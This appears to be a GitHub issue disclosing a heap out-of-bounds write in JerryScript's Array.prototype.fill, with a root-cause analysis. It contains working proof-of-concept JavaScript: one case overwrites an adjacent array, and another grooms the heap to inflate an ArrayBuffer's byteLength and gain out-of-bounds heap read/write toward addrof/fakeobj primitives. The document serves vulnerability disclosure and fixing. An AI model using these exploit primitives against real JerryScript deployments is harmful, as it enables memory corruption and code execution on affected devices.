-
Notifications
You must be signed in to change notification settings - Fork 691
Description
The fast-path in Array.prototype.fill does not re-validate array bounds after start.valueOf() may have shrunk the array. When start.valueOf() reduces the array length, final remains the stale (pre-shrink) length, and the write loop stores attacker-controlled ecma_value_t values far past the reallocated buffer into freed heap memory.
JerryScript revision
Build platform
macOS 26.2 (Darwin 25.2.0 arm64)
Build steps
python3 tools/build.py --cleanTest case 1 — cross-object array corruption
var victim = new Array(100);
for (var i = 0; i < 100; i++) victim[i] = 0;
var MARKER = 0x41414141;
var adjacent;
victim.fill(MARKER, {
valueOf: function() {
victim.length = 4; // shrink: buffer 104→8 aligned slots (416→32 bytes)
adjacent = new Array(90);
for (var i = 0; i < 90; i++) adjacent[i] = 0xBBBB0000 + i;
return 0;
}
});
var corrupted = 0;
for (var i = 0; i < 90; i++) {
if (adjacent[i] !== (0xBBBB0000 + i)) corrupted++;
}
print("Adjacent array corruption: " + corrupted + " / 90 elements overwritten");
for (var i = 0; i < 5; i++) {
print(" adjacent[" + i + "] = 0x" + (adjacent[i] >>> 0).toString(16));
}Output 1
Adjacent array corruption: 90 / 90 elements overwritten
adjacent[0] = 0x41414141
adjacent[1] = 0x41414141
adjacent[2] = 0x41414141
adjacent[3] = 0x41414141
adjacent[4] = 0x41414141
A second array allocated in the freed tail has all 90 elements overwritten with the attacker-controlled value 0x41414141. The fill writes 92 OOB ecma_value_t values (368 bytes) past the buffer end.
Test case 2 — ArrayBuffer byteLength corruption (32 → 1 MB)
By choosing precise start/end values, the OOB write can surgically overwrite a single field — the byteLength of an adjacent inline ArrayBuffer — inflating it from 32 bytes to ~1 MB.
// Heap stabilization — reduce free-list fragmentation
var stabilizers = [];
for (var i = 0; i < 64; i++) {
stabilizers.push(new Array(8));
for (var j = 0; j < 8; j++) stabilizers[i][j] = j;
}
for (var i = 0; i < 32; i++) new ArrayBuffer(16);
var victim = new Array(100);
for (var i = 0; i < 100; i++) victim[i] = 0;
var ab;
// fill(65536, evil_start, 12):
// evil_start.valueOf() shrinks victim to 4 and allocates AB in freed tail
// AB.byteLength sits at buffer_p[11]
// fill writes ONE ecma_value_t = (65536<<4)|0 = 0x100000 to buffer_p[11]
// → AB.byteLength becomes 0x100000 = 1,048,576
victim.fill(65536, {
valueOf: function() {
victim.length = 4;
ab = new ArrayBuffer(32);
return 11;
}
}, 12);
print("AB.byteLength = " + ab.byteLength + " (expected: 32)");
var view = new DataView(ab);
// Read past the original 32 bytes — OOB heap access
for (var i = 0; i < 4; i++) {
var off = 32 + i * 4;
print(" OOB read at +" + off + ": 0x" + (view.getUint32(off, true) >>> 0).toString(16));
}Output 2
AB.byteLength = 1048576 (expected: 32)
OOB read at +32: 0x3510018
OOB read at +36: 0x250000
OOB read at +40: 0x4010140
OOB read at +44: 0x1
The ArrayBuffer.byteLength is inflated from 32 to 1,048,576 bytes. A DataView on this AB now provides ~1 MB of OOB read/write access to the JerryScript heap. This is sufficient to implement addrof (read raw tagged object pointers) and fakeobj (write crafted tagged pointers to make the engine treat arbitrary memory as JS objects).
Expected behavior
fill should re-validate final against the actual array length after start.valueOf() returns, since the callback may have resized the array. Elements at indices beyond the post-callback buffer should not be written.
Root cause analysis
In ecma-builtin-array-prototype.c:
- Line 2156:
ecma_builtin_helper_array_index_normalize(start_val, len, &k)callsstart.valueOf()— user code shrinks the array. Buffer reallocates from 416 to 32 bytes; the 384-byte tail is freed. - Line 2162–2164:
end_valis UNDEFINED →final = lenuses the stale pre-shrink length (100). - Line 2175:
ecma_op_object_is_fast_array(obj_p)— still true after shrink (shrinking preserves fast-array mode). - Line 2179:
length_prop_and_hole_count < ECMA_FAST_ARRAY_HOLE_ONE— passes (shrunk array has no holes). - Line 2187:
buffer_p = ECMA_GET_NON_NULL_POINTER(ecma_value_t, obj_p->u1.property_list_cp)— gets the (now smaller) buffer pointer. - Lines 2189–2194: Write loop
while (k < final)iterates k=0..99, writingbuffer_p[k]for all 100 indices. Only indices 0–7 are within the 32-byte buffer; indices 8–99 write 368 bytes into freed heap memory.